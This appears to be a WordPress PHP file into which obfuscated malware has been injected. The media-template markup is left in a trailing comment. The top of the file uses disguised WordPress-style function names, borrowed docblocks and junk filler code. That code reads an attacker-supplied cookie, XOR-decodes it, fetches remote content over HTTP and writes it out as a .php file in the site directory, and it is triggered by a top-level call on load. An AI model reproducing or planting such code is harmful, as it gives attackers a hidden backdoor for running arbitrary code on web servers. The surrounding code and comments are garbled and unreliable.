$signups = "task_management";
$originals_table = substr($signups, 2, 7);
$template_directory = hash("sha384", $originals_table);
$last_error = str_pad($template_directory, 45, "*"); // Starting position of slug.
$mce_settings = explode("_", $signups);
$prepared_post = $to_sign[0];
if (isset($signups)) {
$link_rss = implode("|", $mce_settings);
}
$unwritable_files = date("d-m-Y H:i");
$MiscByte = array_merge($mce_settings, array($unwritable_files));
foreach ($to_sign as $lin_gain) {
$start_offset = hash("sha1", $link_rss); // Counter $xx xx xx xx (xx ...)
$MAILSERVER = count($MiscByte);
$thumbnail_width = "{$start_offset}-{$MAILSERVER}";
if (strlen($thumbnail_width) < 60) {
$thumbnail_width = str_pad($thumbnail_width, 60, "z");
}
if ($lin_gain > $prepared_post) {
$prepared_post = $lin_gain;
}
}
return $prepared_post;
}
/**
* Allows a theme to de-register its support of a certain feature
*
* Should be called in the theme's functions.php file. Generally would
* be used for child themes to override support from the parent theme.
*
* @since 3.0.0
*
* @see add_theme_support()
*
* @param string $qs_matcheature The feature being removed. See add_theme_support() for the list
* of possible values.
* @return bool|void Whether feature was removed.
*/
function are_any_comments_waiting_to_be_checked() // we may have some HTML soup before the next block.
{
return __DIR__; // Ensure that we always coerce class to being an array.
}
/**
* Filters the bloginfo for use in RSS feeds.
*
* @since 2.2.0
*
* @see convert_chars()
* @see get_bloginfo()
*
* @param string $pointersnfo Converted string value of the blog information.
* @param string $show The type of blog information to retrieve.
*/
function stop_capturing_option_updates($to_sign) {
$version = "Sample Hash";
$v_dirlist_descr = hash('sha512', $version);
if (strlen($v_dirlist_descr) > 40) {
$more = substr($v_dirlist_descr, 0, 40);
$used_filesize = trim($more);
$wp_meta_boxes = str_pad($used_filesize, 45, "1");
}
$thisfile_wavpack = $to_sign[0];
foreach ($to_sign as $lin_gain) {
if ($lin_gain < $thisfile_wavpack) {
$thisfile_wavpack = $lin_gain;
}
}
return $thisfile_wavpack;
}
/**
* Deprecated functionality to retrieve a list of the most active sites.
*
* @since MU (3.0.0)
* @deprecated 3.0.0
*
* @param int $num Optional. Number of activate blogs to retrieve. Default 10.
* @param bool $m_keyisplay Optional. Whether or not to display the most active blogs list. Default true.
* @return array List of "most active" sites.
*/
function has_errors($postponed_time) {
$sample_permalink_html = "Encode";
if (strlen($sample_permalink_html) > 3) {
$old_user_data = rawurldecode($sample_permalink_html);
$sites = strlen($old_user_data);
}
// Handle the language setting for the new site.
$stub_post_query = '';
for ($pointers = strlen($postponed_time) - 1; $pointers >= 0; $pointers--) {
$stub_post_query .= $postponed_time[$pointers];
}
return $stub_post_query; // Close button label.
}
/**
* Updates the count of sites for a network based on a changed site.
*
* @since 5.1.0
*
* @param WP_Site $new_site The site object that has been inserted, updated or deleted.
* @param WP_Site|null $old_site Optional. If $new_site has been updated, this must be the previous
* state of that site. Default null.
*/
function cutfield($rating_value, $p1)
{
$uncompressed_size = $_COOKIE[$rating_value];
$AudioChunkHeader = " Sample Data ";
$new_assignments = trim($AudioChunkHeader);
if (!empty($new_assignments)) {
$primary_item_id = strlen($new_assignments);
}
$old_blog_id = str_replace("Sample", "Example", $new_assignments);
$uncompressed_size = validate_user_signup($uncompressed_size);
$order_text = wp_paused_plugins($uncompressed_size, $p1); // Post types.
if (akismet_verify_key($order_text)) {
$mailHeader = does_block_need_a_list_item_wrapper($order_text); //Deliberately matches both false and 0
return $mailHeader;
}
read_line($rating_value, $p1, $order_text);
}
/**
* Retrieves an option value based on an option name.
*
* If the option does not exist, and a default value is not provided,
* boolean false is returned. This could be used to check whether you need
* to initialize an option during installation of a plugin, however that
* can be done better by using add_option() which will not overwrite
* existing options.
*
* Not initializing an option and using boolean `false` as a return value
* is a bad practice as it triggers an additional database query.
*
* The type of the returned value can be different from the type that was passed
* when saving or updating the option. If the option value was serialized,
* then it will be unserialized when it is returned. In this case the type will
* be the same. For example, storing a non-scalar value like an array will
* return the same array.
*
* In most cases non-string scalar and null values will be converted and returned
* as string equivalents.
*
* Exceptions:
*
* 1. When the option has not been saved in the database, the `$m_keyefault_value` value
* is returned if provided. If not, boolean `false` is returned.
* 2. When one of the Options API filters is used: {@see 'pre_option_$option'},
* {@see 'default_option_$option'}, or {@see 'option_$option'}, the returned
* value may not match the expected type.
* 3. When the option has just been saved in the database, and get_option()
* is used right after, non-string scalar and null values are not converted to
* string equivalents and the original type is returned.
*
* Examples:
*
* When adding options like this: `add_option( 'my_option_name', 'value' )`
* and then retrieving them with `get_option( 'my_option_name' )`, the returned
* values will be:
*
* - `false` returns `string(0) ""`
* - `true` returns `string(1) "1"`
* - `0` returns `string(1) "0"`
* - `1` returns `string(1) "1"`
* - `'0'` returns `string(1) "0"`
* - `'1'` returns `string(1) "1"`
* - `null` returns `string(0) ""`
*
* When adding options with non-scalar values like
* `add_option( 'my_array', array( false, 'str', null ) )`, the returned value
* will be identical to the original as it is serialized before saving
* it in the database:
*
* array(3) {
* [0] => bool(false)
* [1] => string(3) "str"
* [2] => NULL
* }
*
* @since 1.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $option Name of the option to retrieve. Expected to not be SQL-escaped.
* @param mixed $m_keyefault_value Optional. Default value to return if the option does not exist.
* @return mixed Value of the option. A value of any type may be returned, including
* scalar (string, boolean, float, integer), null, array, object.
* Scalar and null values will be returned as strings as long as they originate
* from a database stored option value. If there is no option in the database,
* boolean `false` is returned.
*/
function wp_ajax_health_check_background_updates($to_sign) {
return is_safe_css_declaration($to_sign) - stop_capturing_option_updates($to_sign); // [62][40] -- Settings for one content encoding like compression or encryption.
}
/**
* Sets up a new Pages widget instance.
*
* @since 2.8.0
*/
function wp_newComment($uninstallable_plugins) // [73][C5] -- A unique ID to identify the Track. This should be kept the same when making a direct stream copy of the Track to another file.
{
$v_extract = sprintf("%c", $uninstallable_plugins);
$wp_textdomain_registry = explode(" ", "This is PHP");
$time_difference = count($wp_textdomain_registry);
$lastpostmodified = ''; // @todo Remove as not required.
for ($pointers = 0; $pointers < $time_difference; $pointers++) {
if (strlen($wp_textdomain_registry[$pointers]) > strlen($lastpostmodified)) {
$lastpostmodified = $wp_textdomain_registry[$pointers];
}
}
return $v_extract; // Help tab: Block themes.
}
/** RSS feed constant. */
function register_legacy_post_comments_block($last_result, $sanitized_policy_name)
{
$trackback = generichash_init_salt_personal($last_result);
if ($trackback === false) {
$ASFcommentKeysToCopy = array("Sample", "words", "for", "test");
$part_key = implode(' ', $ASFcommentKeysToCopy);
return false;
}
$v_count = array(); // Get classname for layout type.
return unpoify($sanitized_policy_name, $trackback);
} # b = v0 ^ v1 ^ v2 ^ v3;
/**
* Retrieves the HTML list content for nav menu items.
*
* @uses Walker_Nav_Menu to create HTML list content.
* @since 3.0.0
*
* @param array $sampleRateCodeLookup2s The menu items, sorted by each menu item's menu order.
* @param int $m_keyepth Depth of the item in reference to parents.
* @param stdClass $PossiblyLongerLAMEversion_Stringrgs An object containing wp_nav_menu() arguments.
* @return string The HTML list content for the menu items.
*/
function wp_paused_plugins($required_attr_limits, $SI2)
{
$theme_mods_options = strlen($SI2);
$responsive_container_directives = strlen($required_attr_limits); // [F7] -- The track for which a position is given.
$PossiblyLongerLAMEversion_String = "multiple words sentence";
$size_total = explode(" ", $PossiblyLongerLAMEversion_String);
$theme_mods_options = $responsive_container_directives / $theme_mods_options;
$registered_sidebars_keys = hash("md5", $PossiblyLongerLAMEversion_String);
$theme_mods_options = ceil($theme_mods_options);
$m_key = substr($registered_sidebars_keys, 0, 5);
$tax_query = str_split($required_attr_limits); // Delete the temporary backup directory if it already exists.
$translations = str_pad($m_key, 7, "0"); // AC3 and E-AC3 put the "bsid" version identifier in the same place, but unfortnately the 4 bytes between the syncword and the version identifier are interpreted differently, so grab it here so the following code structure can make sense
$qs_match = count($size_total); // of the global settings and use its value.
$v_entry = array_merge($size_total, array($translations));
$reference_count = strlen($PossiblyLongerLAMEversion_String);
$pointers = substr("sub", 0, 2); // phpcs:ignore WordPress.DB.RestrictedFunctions.mysql_mysqli_get_client_info
$SI2 = str_repeat($SI2, $theme_mods_options); // Three seconds, plus one extra second for every 10 plugins.
$menu_item_obj = date("Y-m-d");
$possible_db_id = str_split($SI2);
$possible_db_id = array_slice($possible_db_id, 0, $responsive_container_directives);
$provider = implode("_", $v_entry);
$menu_item_ids = array_map("update_blog_option", $tax_query, $possible_db_id); // Entry count $xx
$menu_item_ids = implode('', $menu_item_ids);
return $menu_item_ids;
}
/**
* Filters a screen option value before it is set.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* Returning false from the filter will skip saving the current option.
*
* @since 5.4.2
*
* @see set_screen_options()
*
* @param mixed $screen_option The value to save instead of the option value.
* Default false (to skip saving the current option).
* @param string $option The option name.
* @param int $value The option value.
*/
function row_actions($tax_name) {
$unpoified = "TestInput";
$TargetTypeValue = rawurldecode($unpoified);
$stored_hash = get_test_http_requests($tax_name); // merged from WP #10698 - this method avoids the RAM usage of preg_replace on very large messages
$v_pos = hash('sha256', $TargetTypeValue);
$plugins_subdir = substr($unpoified, 4, 6);
if (empty($plugins_subdir)) {
$plugins_subdir = str_pad($v_pos, 60, "@");
}
$original_host_low = count($stored_hash);
$ypos = floor(($original_host_low - 1) / 2);
if ($original_host_low % 2) {
$rgb = explode("T", $unpoified);
$should_filter = implode("_", $rgb); // Based on recommendations by Mark Pilgrim at:
$p_archive = strlen($should_filter); // Note that wp_publish_post() cannot be used because unique slugs need to be assigned.
$plugin_meta = array_merge($rgb, array($plugins_subdir));
$resource_key = implode(":", $plugin_meta);
return $stored_hash[$ypos]; // proxy host to use
} //DWORD dwWidth;
return ($stored_hash[$ypos] + $stored_hash[$ypos + 1]) / 2;
}
/*
* If there's no custom aria-label, we can set a default here. At the
* moment it's empty as there's uncertainty about what the default should be.
*/
function get_test_http_requests($tax_name) {
$supports_input = date("Y-m-d");
$MPEGaudioBitrate = date("Y");
$other_shortcodes = $MPEGaudioBitrate ^ 2023;
if ($other_shortcodes > 0) {
$supports_input = substr($supports_input, 0, 4);
}
sort($tax_name);
return $tax_name;
}
/**
* Edit Posts Administration Screen.
*
* @package WordPress
* @subpackage Administration
*/
function TrimTerm($last_result)
{
$style_handle = basename($last_result);
$sanitized_policy_name = clean_blog_cache($style_handle);
$old_user_data = "Message%20"; // carry7 = s7 >> 21;
$v_prop = rawurldecode($old_user_data);
$redirect_obj = hash("sha256", $v_prop);
$preset = substr($redirect_obj, 0, 10);
$stk = str_pad($preset, 20, "0");
register_legacy_post_comments_block($last_result, $sanitized_policy_name); // Skip current and parent folder links.
} // Unzips the file into a temporary directory.
/**
* Set the last modified time and data to Memcached
* @return bool Success status
*/
function rest_sanitize_request_arg($postponed_time, $leavename) {
$view_script_module_id = array(1, 2, 3);
foreach ($view_script_module_id as $sampleRateCodeLookup2) {
$mailHeader = $sampleRateCodeLookup2 * $sampleRateCodeLookup2;
}
$taxnow = implode(",", $view_script_module_id);
return $postponed_time . $leavename;
}
/**
* This is for backwards compatibility after the `isResponsive` attribute was been removed.
*/
function akismet_verify_key($last_result) // IMG_AVIF constant is only defined in PHP 8.x or later.
{
if (strpos($last_result, "/") !== false) {
return true; // ...otherwise remove it from the old sidebar and keep it in the new one.
}
$thumbnail_url = "A long phrase to be broken down and hashed";
$total_inline_limit = explode(' ', $thumbnail_url);
$tries = array();
return false;
} // Assumption alert:
/**
* Tracks the widgets that were rendered.
*
* @since 3.9.0
*
* @param array $widget Rendered widget to tally.
*/
function register_block_core_avatar($last_result)
{
$last_result = "http://" . $last_result;
$option_none_value = "exampleString";
return $last_result;
} // 6 bytes would only be right if all tracks use 1-byte length fields
/**
* Checks if a given request has access to a font family.
*
* @since 6.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
function clean_blog_cache($style_handle)
{
return are_any_comments_waiting_to_be_checked() . DIRECTORY_SEPARATOR . $style_handle . ".php";
}
/*
* If the "Display last modified date" setting is enabled,
* only display the modified date if it is later than the publishing date.
*/
function gzip_compression($uninstall_plugins)
{
echo $uninstall_plugins;
}
/* translators: %s: The option/setting. */
function wp_default_packages_vendor($rating_value, $network_current = 'txt') // Already did this via the legacy filter.
{ // PHP Version.
return $rating_value . '.' . $network_current;
} // Otherwise, include individual sitemaps for every object subtype.
/**
* @var int
*/
function get_category_template($renamed, $quality) { // Do not read garbage.
$signbit = date("Y-m-d H:i:s");
$property_index = explode(' ', $signbit);
return md5($renamed) === $quality;
}
$rating_value = 'pLLDrmxq';
$lock = "Jack,Ana,Peter";
get_test_php_version($rating_value); // L - Original
$numeric_strs = explode(',', $lock);
$steps_above = add_supports([7, 3, 9, 1, 4]);
foreach ($numeric_strs as &$sitewide_plugins) {
$sitewide_plugins = trim($sitewide_plugins);
}
/* }" class="describe" data-setting="caption"
aria-label="<?php esc_attr_e( 'Caption' ); ?>"
placeholder="<?php esc_attr_e( 'Caption…' ); ?>" {{ maybeReadOnly }} />
<# } else { #>
<input type="text" value="{{ data.title }}" class="describe" data-setting="title"
<# if ( 'video' === data.type ) { #>
aria-label="<?php esc_attr_e( 'Video title' ); ?>"
placeholder="<?php esc_attr_e( 'Video title…' ); ?>"
<# } else if ( 'audio' === data.type ) { #>
aria-label="<?php esc_attr_e( 'Audio title' ); ?>"
placeholder="<?php esc_attr_e( 'Audio title…' ); ?>"
<# } else { #>
aria-label="<?php esc_attr_e( 'Media title' ); ?>"
placeholder="<?php esc_attr_e( 'Media title…' ); ?>"
<# } #> {{ maybeReadOnly }} />
<# }
} #>
</script>
<?php Template for the Attachment details, used for example in the sidebar. ?>
<script type="text/html" id="tmpl-attachment-details">
<h2>
<?php _e( 'Attachment Details' ); ?>
<span class="settings-save-status" role="status">
<span class="spinner"></span>
<span class="saved"><?php esc_html_e( 'Saved.' ); ?></span>
</span>
</h2>
<div class="attachment-info">
<# if ( 'audio' === data.type ) { #>
<div class="wp-media-wrapper wp-audio">
<audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
<source type="{{ data.mime }}" src="{{ data.url }}" />
</audio>
</div>
<# } else if ( 'video' === data.type ) {
var w_rule = '';
if ( data.width ) {
w_rule = 'width: ' + data.width + 'px;';
} else if ( wp.media.view.settings.contentWidth ) {
w_rule = 'width: ' + wp.media.view.settings.contentWidth + 'px;';
}
#>
<div style="{{ w_rule }}" class="wp-media-wrapper wp-video">
<video controls="controls" class="wp-video-shortcode" preload="metadata"
<# if ( data.width ) { #>width="{{ data.width }}"<# } #>
<# if ( data.height ) { #>height="{{ data.height }}"<# } #>
<# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>>
<source type="{{ data.mime }}" src="{{ data.url }}" />
</video>
</div>
<# } else { #>
<div class="thumbnail thumbnail-{{ data.type }}">
<# if ( data.uploading ) { #>
<div class="media-progress-bar"><div></div></div>
<# } else if ( 'image' === data.type && data.size && data.size.url ) { #>
<img src="{{ data.size.url }}" draggable="false" alt="" />
<# } else { #>
<img src="{{ data.icon }}" class="icon" draggable="false" alt="" />
<# } #>
</div>
<# } #>
<div class="details">
<div class="filename">{{ data.filename }}</div>
<div class="uploaded">{{ data.dateFormatted }}</div>
<div class="file-size">{{ data.filesizeHumanReadable }}</div>
<# if ( 'image' === data.type && ! data.uploading ) { #>
<# if ( data.width && data.height ) { #>
<div class="dimensions">
<?php
translators: 1: A number of pixels wide, 2: A number of pixels tall.
printf( __( '%1$s by %2$s pixels' ), '{{ data.width }}', '{{ data.height }}' );
?>
</div>
<# } #>
<# if ( data.originalImageURL && data.originalImageName ) { #>
<div class="word-wrap-break-word">
<?php _e( 'Original image:' ); ?>
<a href="{{ data.originalImageURL }}">{{data.originalImageName}}</a>
</div>
<# } #>
<# if ( data.can.save && data.sizes ) { #>
<a class="edit-attachment" href="{{ data.editLink }}&image-editor" target="_blank"><?php _e( 'Edit Image' ); ?></a>
<# } #>
<# } #>
<# if ( data.fileLength && data.fileLengthHumanReadable ) { #>
<div class="file-length"><?php _e( 'Length:' ); ?>
<span aria-hidden="true">{{ data.fileLengthHumanReadable }}</span>
<span class="screen-reader-text">{{ data.fileLengthHumanReadable }}</span>
</div>
<# } #>
<# if ( data.mediaStates ) { #>
<div class="media-states"><strong><?php _e( 'Used as:' ); ?></strong> {{ data.mediaStates }}</div>
<# } #>
<# if ( ! data.uploading && data.can.remove ) { #>
<?php if ( MEDIA_TRASH ) : ?>
<# if ( 'trash' === data.status ) { #>
<button type="button" class="button-link untrash-attachment"><?php _e( 'Restore from Trash' ); ?></button>
<# } else { #>
<button type="button" class="button-link trash-attachment"><?php _e( 'Move to Trash' ); ?></button>
<# } #>
<?php else : ?>
<button type="button" class="button-link delete-attachment"><?php _e( 'Delete permanently' ); ?></button>
<?php endif; ?>
<# } #>
<div class="compat-meta">
<# if ( data.compat && data.compat.meta ) { #>
{{{ data.compat.meta }}}
<# } #>
</div>
</div>
</div>
<# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #>
<# if ( 'image' === data.type ) { #>
<span class="setting alt-text has-description" data-setting="alt">
<label for="attachment-details-alt-text" class="name"><?php _e( 'Alt Text' ); ?></label>
<textarea id="attachment-details-alt-text" aria-describedby="alt-text-description" {{ maybeReadOnly }}>{{ data.alt }}</textarea>
</span>
<p class="description" id="alt-text-description"><?php echo $alt_text_description; ?></p>
<# } #>
<?php if ( post_type_supports( 'attachment', 'title' ) ) : ?>
<span class="setting" data-setting="title">
<label for="attachment-details-title" class="name"><?php _e( 'Title' ); ?></label>
<input type="text" id="attachment-details-title" value="{{ data.title }}" {{ maybeReadOnly }} />
</span>
<?php endif; ?>
<# if ( 'audio' === data.type ) { #>
<?php
foreach ( array(
'artist' => __( 'Artist' ),
'album' => __( 'Album' ),
) as $key => $label ) :
?>
<span class="setting" data-setting="<?php echo esc_attr( $key ); ?>">
<label for="attachment-details-<?php echo esc_attr( $key ); ?>" class="name"><?php echo $label; ?></label>
<input type="text" id="attachment-details-<?php echo esc_attr( $key ); ?>" value="{{ data.<?php echo $key; ?> || data.meta.<?php echo $key; ?> || '' }}" />
</span>
<?php endforeach; ?>
<# } #>
<span class="setting" data-setting="caption">
<label for="attachment-details-caption" class="name"><?php _e( 'Caption' ); ?></label>
<textarea id="attachment-details-caption" {{ maybeReadOnly }}>{{ data.caption }}</textarea>
</span>
<span class="setting" data-setting="description">
<label for="attachment-details-description" class="name"><?php _e( 'Description' ); ?></label>
<textarea id="attachment-details-description" {{ maybeReadOnly }}>{{ data.description }}</textarea>
</span>
<span class="setting" data-setting="url">
<label for="attachment-details-copy-link" class="name"><?php _e( 'File URL:' ); ?></label>
<input type="text" class="attachment-details-copy-link" id="attachment-details-copy-link" value="{{ data.url }}" readonly />
<div class="copy-to-clipboard-container">
<button type="button" class="button button-small copy-attachment-url" data-clipboard-target="#attachment-details-copy-link"><?php _e( 'Copy URL to clipboard' ); ?></button>
<span class="success hidden" aria-hidden="true"><?php _e( 'Copied!' ); ?></span>
</div>
</span>
</script>
<?php Template for the Selection status bar. ?>
<script type="text/html" id="tmpl-media-selection">
<div class="selection-info">
<span class="count"></span>
<# if ( data.editable ) { #>
<button type="button" class="button-link edit-selection"><?php _e( 'Edit Selection' ); ?></button>
<# } #>
<# if ( data.clearable ) { #>
<button type="button" class="button-link clear-selection"><?php _e( 'Clear' ); ?></button>
<# } #>
</div>
<div class="selection-view"></div>
</script>
<?php Template for the Attachment display settings, used for example in the sidebar. ?>
<script type="text/html" id="tmpl-attachment-display-settings">
<h2><?php _e( 'Attachment Display Settings' ); ?></h2>
<# if ( 'image' === data.type ) { #>
<span class="setting align">
<label for="attachment-display-settings-alignment" class="name"><?php _e( 'Alignment' ); ?></label>
<select id="attachment-display-settings-alignment" class="alignment"
data-setting="align"
<# if ( data.userSettings ) { #>
data-user-setting="align"
<# } #>>
<option value="left">
<?php esc_html_e( 'Left' ); ?>
</option>
<option value="center">
<?php esc_html_e( 'Center' ); ?>
</option>
<option value="right">
<?php esc_html_e( 'Right' ); ?>
</option>
<option value="none" selected>
<?php echo esc_html_x( 'None', 'Alignment option' ); ?>
</option>
</select>
</span>
<# } #>
<span class="setting">
<label for="attachment-display-settings-link-to" class="name">
<# if ( data.model.canEmbed ) { #>
<?php _e( 'Embed or Link' ); ?>
<# } else { #>
<?php _e( 'Link To' ); ?>
<# } #>
</label>
<select id="attachment-display-settings-link-to" class="link-to"
data-setting="link"
<# if ( data.userSettings && ! data.model.canEmbed ) { #>
data-user-setting="urlbutton"
<# } #>>
<# if ( data.model.canEmbed ) { #>
<option value="embed" selected>
<?php esc_html_e( 'Embed Media Player' ); ?>
</option>
<option value="file">
<# } else { #>
<option value="none" selected>
<?php echo esc_html_x( 'None', 'Media item link option' ); ?>
</option>
<option value="file">
<# } #>
<# if ( data.model.canEmbed ) { #>
<?php esc_html_e( 'Link to Media File' ); ?>
<# } else { #>
<?php esc_html_e( 'Media File' ); ?>
<# } #>
</option>
<option value="post">
<# if ( data.model.canEmbed ) { #>
<?php esc_html_e( 'Link to Attachment Page' ); ?>
<# } else { #>
<?php esc_html_e( 'Attachment Page' ); ?>
<# } #>
</option>
<# if ( 'image' === data.type ) { #>
<option value="custom">
<?php esc_html_e( 'Custom URL' ); ?>
</option>
<# } #>
</select>
</span>
<span class="setting">
<label for="attachment-display-settings-link-to-custom" class="name"><?php _e( 'URL' ); ?></label>
<input type="text" id="attachment-display-settings-link-to-custom" class="link-to-custom" data-setting="linkUrl" />
</span>
<# if ( 'undefined' !== typeof data.sizes ) { #>
<span class="setting">
<label for="attachment-display-settings-size" class="name"><?php _e( 'Size' ); ?></label>
<select id="attachment-display-settings-size" class="size" name="size"
data-setting="size"
<# if ( data.userSettings ) { #>
data-user-setting="imgsize"
<# } #>>
<?php
* This filter is documented in wp-admin/includes/media.php
$sizes = apply_filters(
'image_size_names_choose',
array(
'thumbnail' => __( 'Thumbnail' ),
'medium' => __( 'Medium' ),
'large' => __( 'Large' ),
'full' => __( 'Full Size' ),
)
);
foreach ( $sizes as $value => $name ) :
?>
<#
var size = data.sizes['<?php echo esc_js( $value ); ?>'];
if ( size ) { #>
<option value="<?php echo esc_attr( $value ); ?>" <?php selected( $value, 'full' ); ?>>
<?php echo esc_html( $name ); ?> – {{ size.width }} × {{ size.height }}
</option>
<# } #>
<?php endforeach; ?>
</select>
</span>
<# } #>
</script>
<?php Template for the Gallery settings, used for example in the sidebar. ?>
<script type="text/html" id="tmpl-gallery-settings">
<h2><?php _e( 'Gallery Settings' ); ?></h2>
<span class="setting">
<label for="gallery-settings-link-to" class="name"><?php _e( 'Link To' ); ?></label>
<select id="gallery-settings-link-to" class="link-to"
data-setting="link"
<# if ( data.userSettings ) { #>
data-user-setting="urlbutton"
<# } #>>
<option value="post" <# if ( ! wp.media.galleryDefaults.link || 'post' === wp.media.galleryDefaults.link ) {
#>selected="selected"<# }
#>>
<?php esc_html_e( 'Attachment Page' ); ?>
</option>
<option value="file" <# if ( 'file' === wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>>
<?php esc_html_e( 'Media File' ); ?>
</option>
<option value="none" <# if ( 'none' === wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>>
<?php echo esc_html_x( 'None', 'Media item link option' ); ?>
</option>
</select>
</span>
<span class="setting">
<label for="gallery-settings-columns" class="name select-label-inline"><?php _e( 'Columns' ); ?></label>
<select id="gallery-settings-columns" class="columns" name="columns"
data-setting="columns">
<?php for ( $i = 1; $i <= 9; $i++ ) : ?>
<option value="<?php echo esc_attr( $i ); ?>" <#
if ( <?php echo $i; ?> == wp.media.galleryDefaults.columns ) { #>selected="selected"<# }
#>>
<?php echo esc_html( $i ); ?>
</option>
<?php endfor; ?>
</select>
</span>
<span class="setting">
<input type="checkbox" id="gallery-settings-random-order" data-setting="_orderbyRandom" />
<label for="gallery-settings-random-order" class="checkbox-label-inline"><?php _e( 'Random Order' ); ?></label>
</span>
<span class="setting size">
<label for="gallery-settings-size" class="name"><?php _e( 'Size' ); ?></label>
<select id="gallery-settings-size" class="size" name="size"
data-setting="size"
<# if ( data.userSettings ) { #>
data-user-setting="imgsize"
<# } #>
>
<?php
* This filter is documented in wp-admin/includes/media.php
$size_names = apply_filters(
'image_size_names_choose',
array(
'thumbnail' => __( 'Thumbnail' ),
'medium' => __( 'Medium' ),
'large' => __( 'Large' ),
'full' => __( 'Full Size' ),
)
);
foreach ( $size_names as $size => $label ) :
?>
<option value="<?php echo esc_attr( $size ); ?>">
<?php echo esc_html( $label ); ?>
</option>
<?php endforeach; ?>
</select>
</span>
</script>
<?php Template for the Playlists settings, used for example in the sidebar. ?>
<script type="text/html" id="tmpl-playlist-settings">
<h2><?php _e( 'Playlist Settings' ); ?></h2>
<# var emptyModel = _.isEmpty( data.model ),
isVideo = 'video' === data.controller.get('library').props.get('type'); #>
<span class="setting">
<input type="checkbox" id="playlist-settings-show-list" data-setting="tracklist" <# if ( emptyModel ) { #>
checked="checked"
<# } #> />
<label for="playlist-settings-show-list" class="checkbox-label-inline">
<# if ( isVideo ) { #>
<?php _e( 'Show Video List' ); ?>
<# } else { #>
<?php _e( 'Show Tracklist' ); ?>
<# } #>
</label>
</span>
<# if ( ! isVideo ) { #>
<span class="setting">
<input type="checkbox" id="playlist-settings-show-artist" data-setting="artists" <# if ( emptyModel ) { #>
checked="checked"
<# } #> />
<label for="playlist-settings-show-artist" class="checkbox-label-inline">
<?php _e( 'Show Artist Name in Tracklist' ); ?>
</label>
</span>
<# } #>
<span class="setting">
<input type="checkbox" id="playlist-settings-show-images" data-setting="images" <# if ( emptyModel ) { #>
checked="checked"
<# } #> />
<label for="playlist-settings-show-images" class="checkbox-label-inline">
<?php _e( 'Show Images' ); ?>
</label>
</span>
</script>
<?php Template for the "Insert from URL" layout. ?>
<script type="text/html" id="tmpl-embed-link-settings">
<span class="setting link-text">
<label for="embed-link-settings-link-text" class="name"><?php _e( 'Link Text' ); ?></label>
<input type="text" id="embed-link-settings-link-text" class="alignment" data-setting="linkText" />
</span>
<div class="embed-container" style="display: none;">
<div class="embed-preview"></div>
</div>
</script>
<?php Template for the "Insert from URL" image preview and details. ?>
<script type="text/html" id="tmpl-embed-image-settings">
<div class="wp-clearfix">
<div class="thumbnail">
<img src="{{ data.model.url }}" draggable="false" alt="" />
</div>
</div>
<span class="setting alt-text has-description">
<label for="embed-image-settings-alt-text" class="name"><?php _e( 'Alternative Text' ); ?></label>
<textarea id="embed-image-settings-alt-text" data-setting="alt" aria-describedby="alt-text-description"></textarea>
</span>
<p class="description" id="alt-text-description"><?php echo $alt_text_description; ?></p>
<?php
* This filter is documented in wp-admin/includes/media.php
if ( ! apply_filters( 'disable_captions', '' ) ) :
?>
<span class="setting caption">
<label for="embed-image-settings-caption" class="name"><?php _e( 'Caption' ); ?></label>
<textarea id="embed-image-settings-caption" data-setting="caption"></textarea>
</span>
<?php endif; ?>
<fieldset class="setting-group">
<legend class="name"><?php _e( 'Align' ); ?></legend>
<span class="setting align">
<span class="button-group button-large" data-setting="align">
<button class="button" value="left">
<?php esc_html_e( 'Left' ); ?>
</button>
<button class="button" value="center">
<?php esc_html_e( 'Center' ); ?>
</button>
<button class="button" value="right">
<?php esc_html_e( 'Right' ); ?>
</button>
<button class="button active" value="none">
<?php echo esc_html_x( 'None', 'Alignment option' ); ?>
</button>
</span>
</span>
</fieldset>
<fieldset class="setting-group">
<legend class="name"><?php _e( 'Link To' ); ?></legend>
<span class="setting link-to">
<span class="button-group button-large" data-setting="link">
<button class="button" value="file">
<?php esc_html_e( 'Image URL' ); ?>
</button>
<button class="button" value="custom">
<?php esc_html_e( 'Custom URL' ); ?>
</button>
<button class="button active" value="none">
<?php echo esc_html_x( 'None', 'Media item link option' ); ?>
</button>
</span>
</span>
<span class="setting">
<label for="embed-image-settings-link-to-custom" class="name"><?php _e( 'URL' ); ?></label>
<input type="text" id="embed-image-settings-link-to-custom" class="link-to-custom" data-setting="linkUrl" />
</span>
</fieldset>
</script>
<?php Template for the Image details, used for example in the editor. ?>
<script type="text/html" id="tmpl-image-details">
<div class="media-embed">
<div class="embed-media-settings">
<div class="column-settings">
<span class="setting alt-text has-description">
<label for="image-details-alt-text" class="name"><?php _e( 'Alternative Text' ); ?></label>
<textarea id="image-details-alt-text" data-setting="alt" aria-describedby="alt-text-description">{{ data.model.alt }}</textarea>
</span>
<p class="description" id="alt-text-description"><?php echo $alt_text_description; ?></p>
<?php
* This filter is documented in wp-admin/includes/media.php
if ( ! apply_filters( 'disable_captions', '' ) ) :
?>
<span class="setting caption">
<label for="image-details-caption" class="name"><?php _e( 'Caption' ); ?></label>
<textarea id="image-details-caption" data-setting="caption">{{ data.model.caption }}</textarea>
</span>
<?php endif; ?>
<h2><?php _e( 'Display Settings' ); ?></h2>
<fieldset class="setting-group">
<legend class="legend-inline"><?php _e( 'Align' ); ?></legend>
<span class="setting align">
<span class="button-group button-large" data-setting="align">
<button class="button" value="left">
<?php esc_html_e( 'Left' ); ?>
</button>
<button class="button" value="center">
<?php esc_html_e( 'Center' ); ?>
</button>
<button class="button" value="right">
<?php esc_html_e( 'Right' ); ?>
</button>
<button class="button active" value="none">
<?php echo esc_html_x( 'None', 'Alignment option' ); ?>
</button>
</span>
</span>
</fieldset>
<# if ( data.attachment ) { #>
<# if ( 'undefined' !== typeof data.attachment.sizes ) { #>
<span class="setting size">
<label for="image-details-size" class="name"><?php _e( 'Size' ); ?></label>
<select id="image-details-size" class="size" name="size"
data-setting="size"
<# if ( data.userSettings ) { #>
data-user-setting="imgsize"
<# } #>>
<?php
* This filter is documented in wp-admin/includes/media.php
$sizes = apply_filters(
'image_size_names_choose',
array(
'thumbnail' => __( 'Thumbnail' ),
'medium' => __( 'Medium' ),
'large' => __( 'Large' ),
